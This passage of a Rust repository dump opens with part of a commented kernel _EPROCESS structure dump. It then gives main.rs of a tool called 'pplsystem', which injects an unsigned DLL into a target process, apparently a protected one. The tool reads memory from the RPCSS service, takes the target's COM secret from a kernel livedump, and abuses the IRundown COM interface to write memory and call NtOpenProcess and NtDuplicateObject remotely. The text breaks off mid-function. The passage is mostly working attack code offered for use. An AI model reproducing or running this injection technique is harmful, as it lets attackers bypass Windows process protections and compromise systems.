_LIST_ENTRY [ 0xffff800c`04c53488 - 0xffff800c`03eea488 ] 186 | +0x458 RundownProtect : _EX_RUNDOWN_REF 187 | +0x460 Flags2 : 0xd000 188 | +0x460 JobNotReallyActive : 0y0 189 | +0x460 AccountingFolded : 0y0 190 | +0x460 NewProcessReported : 0y0 191 | +0x460 ExitProcessReported : 0y0 192 | +0x460 ReportCommitChanges : 0y0 193 | +0x460 LastReportMemory : 0y0 194 | +0x460 ForceWakeCharge : 0y0 195 | +0x460 CrossSessionCreate : 0y0 196 | +0x460 NeedsHandleRundown : 0y0 197 | +0x460 RefTraceEnabled : 0y0 198 | +0x460 PicoCreated : 0y0 199 | +0x460 EmptyJobEvaluated : 0y0 200 | +0x460 DefaultPagePriority : 0y101 201 | +0x460 PrimaryTokenFrozen : 0y1 202 | +0x460 ProcessVerifierTarget : 0y0 203 | +0x460 RestrictSetThreadContext : 0y0 204 | +0x460 AffinityPermanent : 0y0 205 | +0x460 AffinityUpdateEnable : 0y0 206 | +0x460 PropagateNode : 0y0 207 | +0x460 ExplicitAffinity : 0y0 208 | +0x460 ProcessExecutionState : 0y00 209 | +0x460 EnableReadVmLogging : 0y0 210 | +0x460 EnableWriteVmLogging : 0y0 211 | +0x460 FatalAccessTerminationRequested : 0y0 212 | +0x460 DisableSystemAllowedCpuSet : 0y0 213 | +0x460 ProcessStateChangeRequest : 0y00 214 | +0x460 ProcessStateChangeInProgress : 0y0 215 | +0x460 InPrivate : 0y0 216 | +0x464 Flags : 0x14440c01 217 | +0x464 CreateReported : 0y1 218 | +0x464 NoDebugInherit : 0y0 219 | +0x464 ProcessExiting : 0y0 220 | +0x464 ProcessDelete : 0y0 221 | +0x464 ManageExecutableMemoryWrites : 0y0 222 | +0x464 VmDeleted : 0y0 223 | +0x464 OutswapEnabled : 0y0 224 | +0x464 Outswapped : 0y0 225 | +0x464 FailFastOnCommitFail : 0y0 226 | +0x464 Wow64VaSpace4Gb : 0y0 227 | +0x464 AddressSpaceInitialized : 0y11 228 | +0x464 SetTimerResolution : 0y0 229 | +0x464 BreakOnTermination : 0y0 230 | +0x464 DeprioritizeViews : 0y0 231 | +0x464 WriteWatch : 0y0 232 | +0x464 ProcessInSession : 0y0 233 | +0x464 OverrideAddressSpace : 0y0 234 | +0x464 HasAddressSpace : 0y1 235 | +0x464 LaunchPrefetched : 0y0 236 | +0x464 Reserved : 0y0 237 | +0x464 VmTopDown : 0y0 238 | +0x464 ImageNotifyDone : 0y1 239 | +0x464 PdeUpdateNeeded : 0y0 240 | +0x464 VdmAllowed : 0y0 241 | +0x464 ProcessRundown : 0y0 242 | +0x464 ProcessInserted : 0y1 243 | +0x464 DefaultIoPriority : 0y010 244 | +0x464 ProcessSelfDelete : 0y0 245 | +0x464 SetTimerResolutionLink : 0y0 246 | +0x468 CreateTime : _LARGE_INTEGER 0x01da6066`9f4d0373 247 | +0x470 ProcessQuotaUsage : [2] 0x2970 248 | +0x480 ProcessQuotaPeak : [2] 0x2970 249 | +0x490 PeakVirtualSize : 0x5b0c000 250 | +0x498 VirtualSize : 0x5b0c000 251 | +0x4a0 SessionProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ] 252 | +0x4b0 ExceptionPortData : (null) 253 | +0x4b0 ExceptionPortValue : 0 254 | +0x4b0 ExceptionPortState : 0y000 255 | +0x4b8 Token : _EX_FAST_REF 256 | +0x4c0 MmReserved : 0 257 | +0x4c8 AddressCreationLock : _EX_PUSH_LOCK 258 | +0x4d0 PageTableCommitmentLock : _EX_PUSH_LOCK 259 | +0x4d8 RotateInProgress : (null) 260 | +0x4e0 ForkInProgress : (null) 261 | +0x4e8 CommitChargeJob : (null) 262 | +0x4f0 CloneRoot : _RTL_AVL_TREE 263 | +0x4f8 NumberOfPrivatePages : 0x982 264 | +0x500 NumberOfLockedPages : 0 265 | +0x508 Win32Process : (null) 266 | +0x510 Job : (null) 267 | +0x518 SectionObject : (null) 268 | +0x520 SectionBaseAddress : (null) 269 | +0x528 Cookie : 0 270 | +0x530 WorkingSetWatch : (null) 271 | +0x538 Win32WindowStation : (null) 272 | +0x540 InheritedFromUniqueProcessId : 0x00000000`00000004 Void 273 | +0x548 OwnerProcessId : 6 274 | +0x550 Peb : (null) 275 | +0x558 Session : (null) 276 | +0x560 Spare1 : (null) 277 | +0x568 QuotaBlock : 0xfffff803`4e86acc0 _EPROCESS_QUOTA_BLOCK 278 | +0x570 ObjectTable : 0xffffbf8c`1da8b240 _HANDLE_TABLE 279 | +0x578 DebugPort : (null) 280 | +0x580 WoW64Process : (null) 281 | +0x588 DeviceMap : _EX_FAST_REF 282 | +0x590 EtwDataSource : (null) 283 | +0x598 PageDirectoryPte : 0 284 | +0x5a0 ImageFilePointer : (null) 285 | +0x5a8 ImageFileName : [15] "Registry" 286 | +0x5b7 PriorityClass : 0x2 '' 287 | +0x5b8 SecurityPort : (null) 288 | +0x5c0 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO 289 | +0x5c8 JobLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ] 290 | +0x5d8 HighestUserAddress : 0x00007fff`ffff0000 Void 291 | +0x5e0 ThreadListHead : _LIST_ENTRY [ 0xffff800c`03f295b8 - 0xffff800c`08be65f8 ] 292 | +0x5f0 ActiveThreads : 4 293 | +0x5f4 ImagePathHash : 0 294 | +0x5f8 DefaultHardErrorProcessing : 5 295 | +0x5fc LastThreadExitStatus : 0n0 296 | +0x600 PrefetchTrace : _EX_FAST_REF 297 | +0x608 LockedPagesList : (null) 298 | +0x610 ReadOperationCount : _LARGE_INTEGER 0x4 299 | +0x618 WriteOperationCount : _LARGE_INTEGER 0x0 300 | +0x620 OtherOperationCount : _LARGE_INTEGER 0x8a 301 | +0x628 ReadTransferCount : _LARGE_INTEGER 0x800 302 | +0x630 WriteTransferCount : _LARGE_INTEGER 0x0 303 | +0x638 OtherTransferCount : _LARGE_INTEGER 0xef3 304 | +0x640 CommitChargeLimit : 0 305 | +0x648 CommitCharge : 0x988 306 | +0x650 CommitChargePeak : 0xacf 307 | +0x680 Vm : _MMSUPPORT_FULL 308 | +0x7c0 MmProcessLinks : _LIST_ENTRY [ 0xffff800c`04c53800 - 0xffff800c`03eea800 ] 309 | +0x7d0 ModifiedPageCount : 0x252f 310 | +0x7d4 ExitStatus : 0n259 311 | +0x7d8 VadRoot : _RTL_AVL_TREE 312 | +0x7e0 VadHint : 0xffff800c`089b4880 Void 313 | +0x7e8 VadCount : 0x4e 314 | +0x7f0 VadPhysicalPages : 0 315 | +0x7f8 VadPhysicalPagesLimit : 0 316 | +0x800 AlpcContext : _ALPC_PROCESS_CONTEXT 317 | +0x820 TimerResolutionLink : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ] 318 | +0x830 TimerResolutionStackRecord : (null) 319 | +0x838 RequestedTimerResolution : 0 320 | +0x83c SmallestTimerResolution : 0 321 | +0x840 ExitTime : _LARGE_INTEGER 0x0 322 | +0x848 InvertedFunctionTable : (null) 323 | +0x850 InvertedFunctionTableLock : _EX_PUSH_LOCK 324 | +0x858 ActiveThreadsHighWatermark : 0xb 325 | +0x85c LargePrivateVadCount : 0 326 | +0x860 ThreadListLock : _EX_PUSH_LOCK 327 | +0x868 WnfContext : (null) 328 | +0x870 ServerSilo : (null) 329 | +0x878 SignatureLevel : 0 '' 330 | +0x879 SectionSignatureLevel : 0 '' 331 | +0x87a Protection : _PS_PROTECTION 332 | +0x87b HangCount : 0y000 333 | +0x87b GhostCount : 0y000 334 | +0x87b PrefilterException : 0y0 335 | +0x87c Flags3 : 0x404001 336 | +0x87c Minimal : 0y1 337 | +0x87c ReplacingPageRoot : 0y0 338 | +0x87c Crashed : 0y0 339 | +0x87c JobVadsAreTracked : 0y0 340 | +0x87c VadTrackingDisabled : 0y0 341 | +0x87c AuxiliaryProcess : 0y0 342 | +0x87c SubsystemProcess : 0y0 343 | +0x87c IndirectCpuSets : 0y0 344 | +0x87c RelinquishedCommit : 0y0 345 | +0x87c HighGraphicsPriority : 0y0 346 | +0x87c CommitFailLogged : 0y0 347 | +0x87c ReserveFailLogged : 0y0 348 | +0x87c SystemProcess : 0y0 349 | +0x87c HideImageBaseAddresses : 0y0 350 | +0x87c AddressPolicyFrozen : 0y1 351 | +0x87c ProcessFirstResume : 0y0 352 | +0x87c ForegroundExternal : 0y0 353 | +0x87c ForegroundSystem : 0y0 354 | +0x87c HighMemoryPriority : 0y0 355 | +0x87c EnableProcessSuspendResumeLogging : 0y0 356 | +0x87c EnableThreadSuspendResumeLogging : 0y0 357 | +0x87c SecurityDomainChanged : 0y0 358 | +0x87c SecurityFreezeComplete : 0y1 359 | +0x87c VmProcessorHost : 0y0 360 | +0x87c VmProcessorHostTransition : 0y0 361 | +0x87c AltSyscall : 0y0 362 | +0x87c TimerResolutionIgnore : 0y0 363 | +0x87c DisallowUserTerminate : 0y0 364 | +0x87c EnableProcessRemoteExecProtectVmLogging : 0y0 365 | +0x87c EnableProcessLocalExecProtectVmLogging : 0y0 366 | +0x87c MemoryCompressionProcess : 0y0 367 | +0x880 DeviceAsid : 0n0 368 | +0x888 SvmData : (null) 369 | +0x890 SvmProcessLock : _EX_PUSH_LOCK 370 | +0x898 SvmLock : 0 371 | +0x8a0 SvmProcessDeviceListHead : _LIST_ENTRY [ 0xffff800c`03f25920 - 0xffff800c`03f25920 ] 372 | +0x8b0 LastFreezeInterruptTime : 0 373 | +0x8b8 DiskCounters : 0xffff800c`03f25c00 _PROCESS_DISK_COUNTERS 374 | +0x8c0 PicoContext : (null) 375 | +0x8c8 EnclaveTable : (null) 376 | +0x8d0 EnclaveNumber : 0 377 | +0x8d8 EnclaveLock : _EX_PUSH_LOCK 378 | +0x8e0 HighPriorityFaultsAllowed : 0 379 | +0x8e8 EnergyContext : 0xffff800c`03f25c28 _PO_PROCESS_ENERGY_CONTEXT 380 | +0x8f0 VmContext : (null) 381 | +0x8f8 SequenceNumber : 2 382 | +0x900 CreateInterruptTime : 0x6d2823 383 | +0x908 CreateUnbiasedInterruptTime : 0x6d2823 384 | +0x910 TotalUnbiasedFrozenTime : 0 385 | +0x918 LastAppStateUpdateTime : 0x6d2823 386 | +0x920 LastAppStateUptime : 0y0000000000000000000000000000000000000000000000000000000000000 (0) 387 | +0x920 LastAppState : 0y000 388 | +0x928 SharedCommitCharge : 0 389 | +0x930 SharedCommitLock : _EX_PUSH_LOCK 390 | +0x938 SharedCommitLinks : _LIST_ENTRY [ 0xffff800c`03f259b8 - 0xffff800c`03f259b8 ] 391 | +0x948 AllowedCpuSets : 0 392 | +0x950 DefaultCpuSets : 0 393 | +0x948 AllowedCpuSetsIndirect : (null) 394 | +0x950 DefaultCpuSetsIndirect : (null) 395 | +0x958 DiskIoAttribution : (null) 396 | +0x960 DxgProcess : (null) 397 | +0x968 Win32KFilterSet : 0 398 | +0x96c Machine : 0x8664 399 | +0x96e Spare0 : 0 400 | +0x970 ProcessTimerDelay : _PS_INTERLOCKED_TIMER_DELAY_VALUES 401 | +0x978 KTimerSets : 0 402 | +0x97c KTimer2Sets : 0 403 | +0x980 ThreadTimerSets : 0 404 | +0x988 VirtualTimerListLock : 0 405 | +0x990 VirtualTimerListHead : _LIST_ENTRY [ 0xffff800c`03f25a10 - 0xffff800c`03f25a10 ] 406 | +0x9a0 WakeChannel : _WNF_STATE_NAME 407 | +0x9a0 WakeInfo : _PS_PROCESS_WAKE_INFORMATION 408 | +0x9d0 MitigationFlags : 0x20 409 | +0x9d0 MitigationFlagsValues : 410 | +0x9d4 MitigationFlags2 : 0x40000000 411 | +0x9d4 MitigationFlags2Values : 412 | +0x9d8 PartitionObject : 0xffff800c`03ec1af0 Void 413 | +0x9e0 SecurityDomain : 0x00000001`00000001 414 | +0x9e8 ParentSecurityDomain : 0 415 | +0x9f0 CoverageSamplerContext : (null) 416 | +0x9f8 MmHotPatchContext : (null) 417 | +0xa00 IdealProcessorAssignmentBlock : _KE_IDEAL_PROCESSOR_ASSIGNMENT_BLOCK 418 | +0xb18 DynamicEHContinuationTargetsTree : _RTL_AVL_TREE 419 | +0xb20 DynamicEHContinuationTargetsLock : _EX_PUSH_LOCK 420 | +0xb28 DynamicEnforcedCetCompatibleRanges : _PS_DYNAMIC_ENFORCED_ADDRESS_RANGES 421 | +0xb38 DisabledComponentFlags : 0 422 | +0xb3c PageCombineSequence : 0n1 423 | +0xb40 EnableOptionalXStateFeaturesLock : _EX_PUSH_LOCK 424 | +0xb48 PathRedirectionHashes : (null) 425 | +0xb50 SyscallProvider : (null) 426 | +0xb58 SyscallProviderProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ] 427 | +0xb68 SyscallProviderDispatchContext : _PSP_SYSCALL_PROVIDER_DISPATCH_CONTEXT 428 | +0xb70 MitigationFlags3 : 0 429 | +0xb70 MitigationFlags3Values : 430 | 431 | */ 432 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod kdmp; 2 | pub mod dmp; 3 | pub mod irundown; -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use clap::Parser; 2 | use endian_codec::DecodeLE; 3 | use memmap2::Mmap; 4 | use pe_parser::{pe::parse_portable_executable, section::SectionHeader}; 5 | use pplsystem::{ 6 | dmp::dumper::create_dump_file, 7 | irundown::{ 8 | inject::{ 9 | call_ndr_server_call2, increment_and_read, init_remote_com_secret, set_call_args, 10 | write_data_to_address, write_rpc_message, 11 | }, 12 | locate::locate_secret_and_context, 13 | rpcss::{locate_rpcss_oxid_list_head, CProcess, CServerOXID}, 14 | }, 15 | kdmp::{ 16 | parser::{DmpParser, Parsable, PhysicalAddress, VirtualAddress}, 17 | structs::_EPROCESS, 18 | }, 19 | }; 20 | use std::{ 21 | fs::{self, File}, 22 | mem::{offset_of, size_of}, 23 | os::raw::c_void, 24 | process, 25 | }; 26 | use std::mem::transmute_copy; 27 | use sysinfo::System; 28 | use windows::{ 29 | core::{s, GUID, PCSTR}, 30 | Wdk::{ 31 | Foundation::OBJECT_ATTRIBUTES, 32 | Storage::FileSystem::NtCreateSection, 33 | System::SystemServices::{ViewShare, PAGE_READONLY}, 34 | }, 35 | Win32::{ 36 | Foundation::{GENERIC_ALL, GENERIC_READ, HANDLE}, 37 | Storage::FileSystem::{CreateFileA, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, OPEN_EXISTING}, 38 | System::{ 39 | Com::{CoInitializeEx, COINIT_MULTITHREADED}, 40 | Diagnostics::Debug::ReadProcessMemory, 41 | LibraryLoader::{GetModuleHandleA, GetProcAddress}, 42 | Memory::{SECTION_ALL_ACCESS, SEC_IMAGE}, 43 | Threading::{OpenProcess, PROCESS_ALL_ACCESS}, 44 | WindowsProgramming::CLIENT_ID, 45 | }, 46 | }, 47 | }; 48 | 49 | #[derive(Parser, Debug)] 50 | #[command(version, about, long_about = None)] 51 | struct Args { 52 | /// Path of the (unsigned) DLL to inject 53 | #[arg(long)] 54 | dll: String, 55 | 56 | /// Where to write the livedump on disk (must be a full path) 57 | #[arg(long)] 58 | dump: String, 59 | 60 | /// Target PID to inject 61 | #[arg(long)] 62 | pid: u32, 63 | } 64 | 65 | fn main() { 66 | let args = Args::parse(); 67 | 68 | let s = System::new_all(); 69 | 70 | let mut rpcss_pid = 0; 71 | let target_pid; 72 | 73 | for process in s.processes_by_name("svchost") { 74 | if process.cmd().contains(&String::from("RPCSS")) { 75 | rpcss_pid = process.pid().as_u32(); 76 | } 77 | } 78 | 79 | target_pid = args.pid; 80 | let dll_to_inject = args.dll; 81 | 82 | if rpcss_pid == 0 || target_pid == 0 { 83 | panic!("Could not find PID for rpcss or target PID is invalid"); 84 | } 85 | 86 | let rpcss_handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, false, rpcss_pid).unwrap() }; 87 | 88 | let oxid_list_head = locate_rpcss_oxid_list_head().unwrap(); 89 | 90 | let mut server_oxid_list_head: u64 = 0; 91 | unsafe { 92 | ReadProcessMemory( 93 | rpcss_handle, 94 | oxid_list_head.addr as *const c_void, 95 | &mut server_oxid_list_head as *mut u64 as *mut c_void, 96 | 8, 97 | None, 98 | ) 99 | .unwrap() 100 | }; 101 | 102 | println!("[+] OID Server list addr: {:#X}", server_oxid_list_head); 103 | 104 | let mut number_of_oxid_entries: u32 = 0; 105 | 106 | unsafe { 107 | ReadProcessMemory( 108 | rpcss_handle, 109 | server_oxid_list_head as *const c_void, 110 | &mut number_of_oxid_entries as *mut u32 as *mut c_void, 111 | 4, 112 | None, 113 | ) 114 | .unwrap() 115 | } 116 | 117 | println!("[+] Number of entries : {:#X}", number_of_oxid_entries); 118 | 119 | let mut oxid_array_address: u64 = 0; 120 | unsafe { 121 | ReadProcessMemory( 122 | rpcss_handle, 123 | (server_oxid_list_head + 8) as *const c_void, 124 | &mut oxid_array_address as *mut u64 as *mut c_void, 125 | 8, 126 | None, 127 | ) 128 | .unwrap() 129 | }; 130 | 131 | println!("[+] OXID Array @ {:#X}", oxid_array_address); 132 | 133 | let mut oxid_array_data: Vec = vec![0; (number_of_oxid_entries * 8) as usize]; 134 | 135 | unsafe { 136 | ReadProcessMemory( 137 | rpcss_handle, 138 | oxid_array_address as *const c_void, 139 | oxid_array_data.as_mut_ptr() as *mut c_void, 140 | (number_of_oxid_entries * 8) as usize, 141 | None, 142 | ) 143 | .unwrap() 144 | }; 145 | 146 | let (_prefix, oxid_array_data,_suffix) = unsafe { oxid_array_data.align_to::() }; 147 | 148 | let mut target_oxid = 0; 149 | let mut target_ipid = 0; 150 | 151 | unsafe { CoInitializeEx(None, COINIT_MULTITHREADED).unwrap() }; 152 | 153 | for &oxid_entry_address in oxid_array_data { 154 | if oxid_entry_address != 0 { 155 | let mut cserver_oxid_entry = CServerOXID { 156 | padding: [0; 0x18], 157 | oxid: 0, 158 | cprocess: 0, 159 | padding2: [0; 0x38], 160 | ipid: 0, 161 | }; 162 | 163 | unsafe { 164 | ReadProcessMemory( 165 | rpcss_handle, 166 | oxid_entry_address as *const c_void, 167 | &mut cserver_oxid_entry as *mut CServerOXID as *mut c_void, 168 | size_of::(), 169 | None, 170 | ) 171 | .unwrap() 172 | }; 173 | 174 | let mut cprocess_entry = CProcess { 175 | pid: 0, 176 | padding: [0; 88], 177 | }; 178 | 179 | unsafe { 180 | ReadProcessMemory( 181 | rpcss_handle, 182 | cserver_oxid_entry.cprocess as *const c_void, 183 | &mut cprocess_entry as *mut CProcess as *mut c_void, 184 | size_of::(), 185 | None, 186 | ) 187 | .unwrap() 188 | }; 189 | 190 | if cprocess_entry.pid == target_pid { 191 | println!("[+] Found : PID - {:#?}", cprocess_entry.pid); 192 | println!("[+] Found : OXID - {:#X?}", cserver_oxid_entry.oxid); 193 | println!( 194 | "[+] Found : IPID - {:#X?}", 195 | GUID::from_u128(u128::from_be(cserver_oxid_entry.ipid)) 196 | ); 197 | 198 | target_ipid = cserver_oxid_entry.ipid; 199 | target_oxid = cserver_oxid_entry.oxid; 200 | 201 | let result = init_remote_com_secret(target_ipid, target_oxid); 202 | 203 | if result.is_err() && result.0 as u32 == 0x80070057 { 204 | break; 205 | } 206 | 207 | //break; 208 | } 209 | } 210 | } 211 | 212 | if target_ipid == 0 || target_oxid == 0 { 213 | panic!("[-] Failed finding IPID or OXID for IRundown in target process. This is most likely due to the process not having initialized COM."); 214 | } 215 | 216 | let (secret_offset, context_offset) = locate_secret_and_context().expect("[-] Failed locating the COM secret and context"); 217 | 218 | create_dump_file(args.dump.clone()).unwrap(); 219 | 220 | let file = File::open(args.dump).expect("[-] Could not open livedump file."); 221 | 222 | let mmap = unsafe { Mmap::map(&file).expect("[-] Failed mapping livedump file to memory") }; 223 | 224 | let buffer: &[u8] = &mmap; 225 | let dmp = DmpParser::from_buffer(buffer).unwrap(); 226 | 227 | let data = dmp 228 | .read_virtual_memory(dmp.directory_table_base, dmp.ps_active_process_list, 0x8) 229 | .unwrap(); 230 | 231 | let active_process_head = dmp.ps_active_process_list; 232 | 233 | let mut current_eprocess_addr = u64::from_le_bytes(data.try_into().unwrap()) 234 | - offset_of!(_EPROCESS, ActiveProcessLinks) as u64; 235 | 236 | let mut current_eprocess = dmp 237 | .read_virtual_memory( 238 | dmp.directory_table_base, 239 | VirtualAddress::from(current_eprocess_addr), 240 | size_of::<_EPROCESS>(), 241 | ) 242 | .unwrap(); 243 | 244 | let mut eprocess; 245 | 246 | let target_directory_table_base; 247 | 248 | loop { 249 | eprocess = _EPROCESS::decode_from_le_bytes(¤t_eprocess); 250 | 251 | if eprocess.UniqueProcessId == target_pid as u64 { 252 | target_directory_table_base = PhysicalAddress::from(eprocess.pcb.DirectoryTableBase); 253 | 254 | println!( 255 | "[+] Name : {}, PEB : {:#X}, Base {:#X}", 256 | String::from_utf8_lossy(&(eprocess.ImageFileName)), 257 | eprocess.Peb, 258 | eprocess.pcb.DirectoryTableBase 259 | ); 260 | 261 | println!("[+] Found EPROCESS for target process"); 262 | break; 263 | } 264 | 265 | if eprocess.ActiveProcessLinks.Flink as u64 == active_process_head.addr { 266 | panic!("[-] Did not find target pid in ActiveProcessList "); 267 | } 268 | 269 | current_eprocess_addr = eprocess.ActiveProcessLinks.Flink as u64 270 | - offset_of!(_EPROCESS, ActiveProcessLinks) as u64; 271 | 272 | current_eprocess = dmp 273 | .read_virtual_memory( 274 | dmp.directory_table_base, 275 | VirtualAddress::from(current_eprocess_addr), 276 | size_of::<_EPROCESS>(), 277 | ) 278 | .unwrap(); 279 | } 280 | 281 | println!( 282 | "[+] COM secret @ {:#X} - context @ {:#X}", 283 | secret_offset, context_offset 284 | ); 285 | 286 | let com_secret = u128::from_le_bytes( 287 | dmp.read_virtual_memory( 288 | target_directory_table_base, 289 | VirtualAddress::from(secret_offset as u64), 290 | 16, 291 | ) 292 | .unwrap() 293 | .try_into() 294 | .unwrap(), 295 | ); 296 | 297 | println!("[+] Remote COM secret : {:#X}", com_secret); 298 | 299 | let com_context = u64::from_le_bytes( 300 | dmp.read_virtual_memory( 301 | target_directory_table_base, 302 | VirtualAddress::from(context_offset as u64), 303 | 8, 304 | ) 305 | .unwrap() 306 | .try_into() 307 | .unwrap(), 308 | ); 309 | 310 | println!("[+] Remote COM context : {:#X}", com_context); 311 | 312 | let rpcrt4_binary = 313 | fs::read(r"C:\windows\system32\rpcrt4.dll").expect("[-] Failed reading rpcrt4 from disk"); 314 | let rpcrt4_pe = 315 | parse_portable_executable(rpcrt4_binary.as_slice()).expect("[-] Failed parsing rpcrt4.dll"); 316 | 317 | let rpcrt_data: SectionHeader = rpcrt4_pe 318 | .section_table 319 | .into_iter() 320 | .filter(|&sec| sec.name.starts_with(".data".as_bytes())) 321 | .collect::>() 322 | .first() 323 | .expect("[-] Failed getting .data section for rpcrt4.dll") 324 | .clone(); 325 | 326 | let kernel32_binary = fs::read(r"C:\windows\system32\kernel32.dll") 327 | .expect("[-] Failed reading kernel32 from disk"); 328 | let kernel32_pe = parse_portable_executable(kernel32_binary.as_slice()) 329 | .expect("[-] Failed parsing kernel32.dll"); 330 | 331 | let kernel32_data: SectionHeader = kernel32_pe 332 | .section_table 333 | .into_iter() 334 | .filter(|&sec| sec.name.starts_with(".data".as_bytes())) 335 | .collect::>() 336 | .first() 337 | .expect("[-] Failed getting .data section for kernel32.dll") 338 | .clone(); 339 | 340 | let ntdll_binary = 341 | fs::read(r"C:\windows\system32\ntdll.dll").expect("[-] Failed reading ntdll from disk"); 342 | let ntdll_pe = 343 | parse_portable_executable(ntdll_binary.as_slice()).expect("[-] Failed parsing ntdll.dll"); 344 | 345 | let ntdll_data: SectionHeader = ntdll_pe 346 | .section_table 347 | .into_iter() 348 | .filter(|&sec| sec.name.starts_with(".data".as_bytes())) 349 | .collect::>() 350 | .first() 351 | .expect("[-] Failed getting .data section for ntdll.dll") 352 | .clone(); 353 | 354 | let win32u_binary = 355 | fs::read(r"C:\windows\system32\win32u.dll").expect("[-] Failed reading win32u from disk"); 356 | let win32u_pe = 357 | parse_portable_executable(win32u_binary.as_slice()).expect("[-] Failed parsing win32u.dll"); 358 | 359 | let win32u_data: SectionHeader = win32u_pe 360 | .section_table 361 | .into_iter() 362 | .filter(|&sec| sec.name.starts_with(".data".as_bytes())) 363 | .collect::>() 364 | .first() 365 | .expect("[-] Failed getting .data section for win32u.dll") 366 | .clone(); 367 | 368 | let bcryptprimitives_binary = fs::read(r"C:\windows\system32\bcryptprimitives.dll") 369 | .expect("[-] Failed reading bcryptprimitives from disk"); 370 | let bcryptprimitives_pe = parse_portable_executable(bcryptprimitives_binary.as_slice()) 371 | .expect("[-] Failed parsing bcryptprimitives.dll"); 372 | 373 | let bcryptprimitives_data: SectionHeader = bcryptprimitives_pe 374 | .section_table 375 | .into_iter() 376 | .filter(|&sec| sec.name.starts_with(".data".as_bytes())) 377 | .collect::>() 378 | .first() 379 | .expect("[-] Failed getting .data section for bcryptprimitives.dll") 380 | .clone(); 381 | 382 | if ((rpcrt_data.virtual_size & 0xFFF) + 0x220) >= 0x1000 { 383 | panic!("[-] rpcrt4.dll .data section is too small. Please use another DLL."); 384 | } 385 | 386 | let start_address1 = unsafe { GetModuleHandleA(s!("rpcrt4\0")).unwrap().0 as u64 } 387 | + rpcrt_data.virtual_address as u64 388 | + rpcrt_data.virtual_size as u64; 389 | 390 | let arguments_address = unsafe { 391 | GetModuleHandleA(s!("kernel32.dll\0")).unwrap().0 as u64 392 | + kernel32_data.virtual_address as u64 393 | + ((kernel32_data.virtual_size + 8 - 1) & 0xFFF8) as u64 394 | }; 395 | 396 | let target_function = unsafe { 397 | GetProcAddress( 398 | GetModuleHandleA(s!("ntdll.dll\0")).unwrap(), 399 | s!("NtOpenProcess"), 400 | ) 401 | .unwrap() as u64 402 | }; 403 | 404 | let message_addr = write_rpc_message( 405 | start_address1, 406 | arguments_address, 407 | target_function, 408 | target_ipid, 409 | target_oxid, 410 | com_context, 411 | com_secret, 412 | ); 413 | 414 | let handle_to_self_rs_address = 415 | unsafe { GetModuleHandleA(s!("ntdll.dll\0")).unwrap().0 as u64 } 416 | + ntdll_data.virtual_address as u64 417 | + ntdll_data.virtual_size as u64; 418 | 419 | let remote_handle_to_section_address = handle_to_self_rs_address + 8; 420 | 421 | let mut obj_attr = OBJECT_ATTRIBUTES::default(); 422 | obj_attr.Length = size_of::() as u32; 423 | let obj_data: [u8; size_of::()] = unsafe { transmute_copy(&obj_attr) }; 424 | 425 | write_data_to_address( 426 | &obj_data, 427 | remote_handle_to_section_address + 8, 428 | target_ipid, 429 | target_oxid, 430 | com_secret, 431 | com_context, 432 | ); 433 | 434 | let mut client_id = CLIENT_ID::default(); 435 | client_id.UniqueProcess = HANDLE(process::id() as isize); 436 | let client_id_data: [u8; size_of::()] = unsafe { transmute_copy(&client_id) }; 437 | write_data_to_address( 438 | &client_id_data, 439 | remote_handle_to_section_address + 8 + size_of::() as u64, 440 | target_ipid, 441 | target_oxid, 442 | com_secret, 443 | com_context, 444 | ); 445 | 446 | set_call_args( 447 | [ 448 | handle_to_self_rs_address, 449 | PROCESS_ALL_ACCESS.0 as u64, 450 | remote_handle_to_section_address + 8, 451 | remote_handle_to_section_address + 8 + size_of::() as u64, 452 | 0x4, 453 | 0x5, 454 | 0x6, 455 | 0x7, 456 | 0x8, 457 | 0x9, 458 | 0xA, 459 | 0xB, 460 | 0xC, 461 | 0xD, 462 | ], 463 | target_ipid, 464 | target_oxid, 465 | com_secret, 466 | com_context, 467 | ); 468 | 469 | call_ndr_server_call2( 470 | message_addr, 471 | target_ipid, 472 | target_oxid, 473 | com_secret, 474 | com_context, 475 | ); 476 | 477 | if ((bcryptprimitives_data.virtual_size & 0xFFF) + 0x220) >= 0x1000 { 478 | panic!("[-] bcryptprimitives.dll .data section is too small. Please use another DLL."); 479 | } 480 | 481 | let start_address2 = 482 | unsafe { GetModuleHandleA(s!("bcryptprimitives.dll\0")).unwrap().0 as u64 } 483 | + bcryptprimitives_data.virtual_address as u64 484 | + bcryptprimitives_data.virtual_size as u64; 485 | 486 | let arguments_address2 = unsafe { 487 | GetModuleHandleA(s!("kernel32.dll\0")).unwrap().0 as u64 488 | + kernel32_data.virtual_address as u64 489 | + ((kernel32_data.virtual_size + 8 - 1) & 0xFFF8) as u64 490 | }; 491 | 492 | let target_function2 = unsafe { 493 | GetProcAddress( 494 | GetModuleHandleA(s!("ntdll.dll\0")).unwrap(), 495 | s!("NtDuplicateObject"), 496 | ) 497 | .unwrap() as u64 498 | }; 499 | 500 | let message_addr2 = write_rpc_message( 501 | start_address2, 502 | arguments_address2, 503 | target_function2, 504 | target_ipid, 505 | target_oxid, 506 | com_context, 507 | com_secret, 508 | ); 509 | 510 | let handle_to_rs = increment_and_read( 511 | handle_to_self_rs_address, 512 | target_ipid, 513 | target_oxid, 514 | com_secret, 515 | com_context, 516 | ) - 1; 517 | 518 | println!("[+] Remote HANDLE to our process : {:#X}", handle_to_rs); 519 | 520 | let dll_handle = unsafe { 521 | CreateFileA( 522 | PCSTR(format!("{}\0", dll_to_inject).as_ptr()), 523 | GENERIC_READ.0, 524 | FILE_SHARE_READ, 525 | None, 526 | OPEN_EXISTING, 527 | FILE_ATTRIBUTE_NORMAL, 528 | None, 529 | ) 530 | }; 531 | 532 | if dll_handle.is_err() { 533 | panic!(); 534 | } 535 | 536 | let mut section_handle = HANDLE::default(); 537 | let status = unsafe { 538 | NtCreateSection( 539 | &mut section_handle, 540 | SECTION_ALL_ACCESS.0, 541 | None, 542 | None, 543 | PAGE_READONLY, 544 | SEC_IMAGE.0, 545 | dll_handle.unwrap(), 546 | ) 547 | }; 548 | 549 | if status.is_err() 